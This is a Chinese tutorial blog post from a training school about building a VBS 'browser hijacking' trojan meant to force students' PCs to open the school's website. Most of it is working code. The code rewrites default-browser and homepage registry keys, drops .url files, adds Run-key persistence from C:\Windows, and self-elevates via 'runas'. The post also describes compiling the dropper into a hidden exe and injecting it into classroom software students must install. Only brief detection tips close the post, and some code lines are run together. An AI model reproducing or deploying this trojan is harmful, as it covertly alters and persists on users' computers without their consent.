基于注入式木马病毒(浏览器绑架)实现及防御方法的研究

申明:

​ 本文章重在对技术的研究和讨论,为学开发的同学提供一种实现思路,为学习测试的同学提供一个软件安全测试的方向。如有读者通过本文进行一些个人篡改,及进行非法途径操作等,与蜗牛学院以及作者无关。

前言:

​ 在蜗牛学院学习的同学都知道,每天讲师授课之后都会将当天的授课视频上传到我们的在线课堂(www.woniuxy.com),学生只要登录进去就可以回看之前老师讲课的视频,从而进行复习。随着来我们蜗牛学院学习的同学越来越多,但很多刚入校的同学对电脑操作都很小白。然后我发现很多学生在进入我们官网的时候都是先打开百度,然后在百度上输入“蜗牛学院”搜索一下,再点击链接进入到我们官网。这样的操作既不方便,而且还会浪费百度推广的费用。针对上面的问题,让每个同学都去设置浏览器书签,这个工作量有点大,而且个班都要去操作一遍就显得很繁琐。所以作者才考虑到了用病毒的方式让学生强制绑定一个我们的官网,毕竟学技术的地方就用技术来解决实际问题。

正文:

​ 首先我们要先弄明白什么是浏览器绑架,即通过技术手段让你的浏览器打开的时候默认访问指定的网站,比如修改首页等。这种操作我们在几年前也经常看见,比如浏览器打开首页就变成了某123网站。大致的实现方式为通过一个本地软件,修改用户的注册表信息里面的默认浏览器以及默认主页的相关内容,然后用户的主页就变成了了指定的网站。以下一段代码通过VBS(Visual Basic Script)语言来实现将默认浏览器更改为IE和默认首页到我们的官网:

On Error Resume Next
Dim defaultUrl, regOPeration
defaultUrl = "https://www.woniuxy.com"
Set regOPeration = CreateObject("WScript.Shell")
regOPeration.RegWrite "HKEY_CLASSES_ROOT\http\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_CLASSES_ROOT\htmlfile\shell\open\command\", """C:\Program Files\Internet Explorer\iexplore.exe"" -- ""%1"""
regOPeration.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl
regOPeration.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", defaultUrl

​ 以下是对浏览器对应注册表位置:

系统默认浏览器注册表:
"HKEY_CLASSES_ROOT\http\shell\open\command\"
"HKEY_CLASSES_ROOT\htmlfile\shell\open\command\"
机器默认首页注册表:
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"
用户默认首页注册表:
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"

​ 代码到这里可能有人会问:为什么用VBS这么古老的语言呢?其他语言像Java或Python能实现吗?首先VBS作为微软的亲儿子,虽然现在的使用范围比较小,但这个语言有一个其他语言不具备的优势就是在WIndows环境下可以很方便的调用WScript.Shell对象直接操作需要管理员权限的HKEY_CLASSES_ROOT注册表。还有一个特点是WIndows环境自带了VBS解释器,在微软环境下可以直接运行非常方便。所以上述代码只需要写在记事本中,然后将后缀名.txt改为.vbs就可以运行了。然而对于其他语言来说也可以实现吗,当然是可以的。

执行前:

执行后:

​ 接下来问题来了,首要的一点就是首页注册表只能针对IE浏览器有效,而现在的用户几乎不会再使用IE浏览器作为系统默认浏览器。比如用户使用的是360,QQ,谷歌等浏览器作为默认浏览器,像这一类没有在系统注册表中提供首页接口的浏览器怎么去实现绑架呢?到这里只能换一种思路:通过对系统默认浏览器创建快捷方式到桌面,然后将浏览器快捷方式的访问首页设置为我们的在线课堂,这样的形式来完成绑架。相关代码如下所示:

Dim browserPath '默认浏览器路径
Dim starDir     '快捷方式起始位置
Dim WShell      'WScript对象
Dim desktopPath '桌面对象
Dim link        '快捷方式对象
Dim firstUrl    '默认首页链接
Dim linkName    '快捷方式名称linkName = "蜗牛学院-在线课堂"
firstUrl = "www.woniuxy.com"
Set WShell = CreateObject("WScript.Shell")'截取到默认浏览器exe文件路径
browserPath = WShell.RegRead("HKEY_CLASSES_ROOT\http\shell\open\command\")
browserPath = Split(browserPath, ".exe")(0)
browserPath = Mid(browserPath,2) & ".exe"'获取起始位置
tempDir = Split(browserPath, "\")
For i = 0 to UBound(tempDir) - 1starDir = starDir & tempDir(i) & "\"
Next
starDir = Mid(starDir,1, Len(starDir)-1)'创建桌面快捷方式
desktopPath = WShell.SpecialFolders("Desktop")
Set link = WShell.CreateShortcut(desktopPath & "\" & linkName & ".lnk")link.TargetPath = browserPath  '目标位置
link.Arguments = firstUrl '添加默认页面
link.WindowStyle = 3   '激活方式:1默认窗口大小,3最大化,7最小化   link.WorkingDirectory = starDir    '设置起始位置
link.IconLocation = browserPath    '设置图标
link.Save

​ 将上述代码写到txt文档中,再修改后缀名为.vbs运行之后的效果:

​ 代码中的link.Arguments = firstUrl非常重要,因为要让快捷方式打开直接访问指定页面,在快捷方式的目标属性里面就必须加上页面地址,而如果是用CreateShortcut函数在后面拼接的方式添加则无法创建快捷方式。

​ 代码写到这里之后,我们会发现三个问题。第一是如果系统中没有设置默认的浏览器(注册表中没有对应值)的情况下或是默认的浏览器没有在注册表中注册,那么用户打开快捷方式会使用IE或Edge。第二个问题是如果用户将桌面的快捷方式删除那么绑架的目的也达不到了。第三是代码是由一个vbs来触发执行,用户也不会傻乎乎的直接去双击。

​ 首先解决第一个问题,放弃使用快捷方式,直接使用url连接文件来解决,url连接文件里面存放的是指定的访问连接。用户点击url文件的时候会直接打开系统默认浏览器,相当于用户在excel中点击一个超链接一样,非常方便。创建url代码和快捷方式大同小异:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Set WShell = CreateObject("WScript.Shell")
desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

​ 运行效果:

​ 接下来第二和第三个问题解决相对复杂一点,先说一下第二个问题。我们可以将上述vbs放到一个系统中公共而又几乎没有用户去关注的地方(C:\Windows),然后再通过修改注册表的方式设置为每次开机运行一次脚本。那么如果用户当前删除了url,重启电脑之后则又会出现。

​ 注册表开机启动项:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

​ 相关代码:

Dim urlFile
Dim WShell
Dim desktopPath
Dim filePath
Dim firstUrl
Dim startPath   '开机启动位置Set WShell = CreateObject("WScript.Shell")'添加当前文件到开机启动
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
WShell.RegWrite startPath & "\" & "woniuxy", "C:\Windows\woniuxy_url.vbs" & " /r", "REG_SZ"desktopPath = WShell.SpecialFolders("Desktop")
filePath = desktopPath & "\蜗牛学院在线课堂.url"
firstUrl = "http://www.woniuxy.com"set urlFile = CreateObject("Scripting.Filesystemobject").opentextfile(filePath, 8, True)
urlFile.WriteLine("[InternetShortcut]")
urlFile.WriteLine("URL=" & firstUrl)
urlFile.WriteLine("showcommand=3")
urlFile.Close

​ 将上述代码命名为woniuxy_url.vbs,然后放到C:\Windows文件中运行,则注册表中会新增开机启动该脚本。

​ 到这里之后又有一个新的问题产生,那就是正常的用户不会主动将vbs脚本放到自己的Windows目录中。这里就需要和上面提到的问题三一起来解决。整体思路就是:

1、写一个vbs脚本woniuxy.vbs。

2、在woniuxy.vbs中向一个指定文件夹(C:\Windows)中写出另一个脚本woniuxy_url.vbs。(注意如果是Win10系统需要获取超级管理员权限)

3、将woniuxy.vbs编译成exe,然后注入到其他exe文件中。

woniuxy.vbs代码如下所示:

On Error Resume Next
WScript.Sleep 1500Dim fso, startFile
Dim filePath    '文件路径
Dim WShell      'WScript对象
Dim startPath   '开机启动位置'超级管理员权限
If WScript.Arguments.Length = 0 ThenSet ObjShell = CreateObject("Shell.Application")ObjShell.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1WScript.Quit
End IffilePath = "C:\Windows\woniuxy_url.vbs"
Set fso = CreateObject("scripting.filesystemobject")
Set startFile = fso.CreateTextFile(filePath, , ture)'woniuxy_url.vbs内容
startFile.WriteLine "Dim urlFile,WShell,desktopPath,filePath,firstUrl"
startFile.WriteLine "Set WShell = CreateObject(""WScript.Shell"")"
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "filePath = desktopPath & ""\蜗牛学院在线课堂.url"""
startFile.WriteLine "firstUrl = ""http://www.woniuxy.com"""
startFile.WriteLine "set urlFile = CreateObject(""Scripting.Filesystemobject"").opentextfile(filePath, 8, True)"
startFile.WriteLine "urlFile.WriteLine ""[InternetShortcut]"""
startFile.WriteLine "urlFile.WriteLine ""URL="" & firstUrl"
startFile.WriteLine "urlFile.WriteLine ""showcommand=3"""
startFile.WriteLine "urlFile.Close"'运行url
startFile.WriteLine "desktopPath = WShell.SpecialFolders(""Desktop"")"
startFile.WriteLine "WShell.Run desktopPath & ""\蜗牛学院在线课堂.url"", 4"
startFile.Close'文件添加到开机启动
Set WShell = CreateObject("WScript.Shell")
startPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
'添加到开机启动项
WShell.RegWrite startPath & "\" & "woniuxy", filePath & " /r", "REG_SZ"'运行生成的脚本
WShell.Run filePath

​ 上述woniuxy.vbs完成之后,我们需要将其编译成exe执行文件。市面上比较常见的vbs编译器很多如Vbs_To_Exe等,但效果都不理想。VBS本身就是属于VB(Visual Basic)语言的一个脚本,他们之间的关系和Java与JavaScript不同,所以最好的方案是使用VB来为VBS加壳编译。使用方式也很简单,在VB中新建一个窗体,不需要任何控件,将woniuxy.vbs的源码写入到Form_Load函数中。然后在窗体属性中将Visible属性设置为False(启动时隐藏窗体)。

​ 通过VB编译成exe之后,我们的木马就制作完成了。最后一步就是将木马exe文件注入到另一个经常使用的exe文件中。本文选择的是基于电子教室学生端,因为来蜗牛学院学习的同学,都必须安装这个学生端才能正常听课。然后关于文件的脱壳和加壳过程,不属于本文研究范围,就不在这里阐述了,有兴趣的小伙伴可以联系作者或是在后面跟贴讨论。

结语:

​ 最后我要说的是,为了不侵犯其他软件的利益,上述所有技术中都不涉及到免杀过程。也就是说如果用户系统中存在杀毒软件上述木马是绕不过去的。

​ 同时如果各位小伙伴对电脑掌控能力不足,又担心日常使用中病毒,又不愿意安装杀毒软件(流氓绑定太多)的情况下(本人裸奔十多年)。平时就应该养成多观察系统环境的习惯,比如任务管理器中的启动项,看一下有没有自己不熟悉的,再看看本文中注册表对应的位置有没有被修改过。最后建议电脑新手尽量使用UAC(微软的账户控制),这是系统级别对环境中的任何解释器和执行器进行的监控。

无论你在学习上有任何问题,重庆蜗牛学院欢迎你前来咨询,联系QQ:296799112

基于注入式木马病毒(浏览器绑架)实现及防御方法的研究相关推荐

  1. 轩辕实验室丨基于信息熵的车载网络流量异常检测防御方法

    本文来自轩辕实验室相关研究成果. 本发明通过设定一个检测阈值和固定大小的滑动窗口,计算滑动窗口中流量的信息熵,利用所计算的熵值和阈值对比进行异常判断,实现一种基于信息熵的车载网络流量异常检测防御方法. ...

  2. android随机匹配,基于进程调度的Android真随机数和设备特征生成方法的研究

    摘要: 密钥是保证Android设备安全的重要组件之一,密钥的生成与使用均需要用到随机数,生成高质量的随机数需要高熵值的随机源.另一方面,移动广告等业务对不同的Android设备提供个性化服务时,需要 ...

  3. 坐地铁软件测试自学,基于UML的地铁联锁软件测试用例生成方法的研究

    摘要: 计算机联锁是保证列车安全运行的重要技术措施,对联锁逻辑的分析.测试.验证是满足苛刻需求条件的基础.联锁软件作为保证行车安全的重要设备,定期对其测试至关重要.基于模型的测试用例生成方法研究,可以 ...

  4. (笔记)Chrome浏览器基于Chromium内核的浏览器 解决卡顿的方法

    适用于Chrome浏览器和基于Chromium内核构建的浏览器. 文中浏览器:Windows10下基于Chromium内核的Edge浏览器 1.通过网址栏快速重启浏览器 当浏览器页面已经非常卡顿时,我 ...

  5. 服务器中木马病毒处理(CPU占用率很高)处理办法

    参考:https://blog.csdn.net/wkfyynh/article/details/105206990 记录一下这个过程,方便后来人使用.如果遇到权限问题,在所有执行命令前使用sudo ...

  6. 解决计算机被暴风集火(jihuo)后留下的IE,chrome,火狐等所有浏览器主页网址携带有”tn=93453552_hao_pg“后缀的驱动类木马病毒的问题

    产生原因 下载了有木马病毒的软件 脱离了计算机杀毒软件以及防火墙的保护 先了解木马病毒是什么 木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件.发送密码.记录键盘和攻击D ...

  7. 瑞星2009:3大拦截2大防御功能主动遏制木马病毒

    12月16日,"瑞星全功能安全软件2009"正式发布,它基于瑞星"云安全"技术开发,实现了彻底的互联网化,是一款超越了传统"杀毒软件"的划时 ...

  8. 探秘网络背后黑产链:黑客攻击木马病毒机构内鬼防不胜防

    电子商务.移动支付的普及,消费者越来越少随身携带现金,人们打趣道"小偷都快失业了". 但在互联网上,靠盗窃用户电子账户资金.虚拟资产的"网络小偷"却十分猖獗. ...

  9. 360天擎默认卸载密码_装机工具老毛桃携带木马病毒 卸载安全软件进行恶意推广...

    [快讯] 近期,火绒收到用户反馈,称在使用老毛桃U盘启动装机工具制作的PE系统后,原有系统中多款安全软件被无故删除.火绒工程师溯源发现,上述使用老毛桃制作的PE系统中被植入了病毒,当用户使用该PE系统 ...

最新文章

  1. Lucene学习总结之五:Lucene段合并(merge)过程分析
  2. 编译ok6410linux内核,Linux3.6.7在OK6410平台的移植(二)编译配置linux3.6.7
  3. [BZOJ2339][HNOI2011]卡农
  4. 《上海交通大学饮水思源paper(论文)板实用手册(第二版)》出炉
  5. matlab车牌识别图像调整程序,matlab完整车牌识别程序,包括报告及图像
  6. 信息系统项目管理师必背核心考点(四十一)风险管理计划
  7. 【C语言】实现网络对战五子棋
  8. 我们怎么样把pdf格式转换成dwg格式呢
  9. mac win7 计算机,几步教会你win7更改mac地址_win7电脑改mac地址方法
  10. Lucene之Field常用类型
  11. 短视频平台开发,将图片、视频保存到本地的相册中
  12. Next FlipBook Maker Pro(h5电子书翻页效果制作软件)官方正式版V2.7.20 | h5翻页杂志制作软件下载
  13. HTML绘制齿轮,HTML5模拟齿轮动画代码实例
  14. 如何提升企业网络曝光率?
  15. 在ubuntu下下载pip
  16. 删除计算机用户时拒绝访问权限,win10打开管理员账户拒绝访问怎么办
  17. 关于Typora的markdown编辑器行间距过大、不一致的问题
  18. [龙讯8号]龙芯产品再开新花
  19. 基于enc28j60的学习心得
  20. VR和摄影测量怎么结合?游戏引擎绝配

热门文章

  1. 多线程经典问题 卖票问题
  2. 灵派海思SDK的API参考手册
  3. 笔记本屏幕亮度随着显示内容而变,时亮时暗
  4. 「Vue系列」欢迎传送到“Teleport”星球
  5. 专科段《工商企业管理》课程复习资料(5)——案例分析题
  6. 小话设计模式(九)组合模式
  7. (附源码)Node.js自我展示博客网站 毕业设计 231547
  8. 酷狗app signature
  9. 程序员找工作经历,一个人在北京工作的艰辛
  10. Python爬取百度百科,BeautifulSoup提取关键信息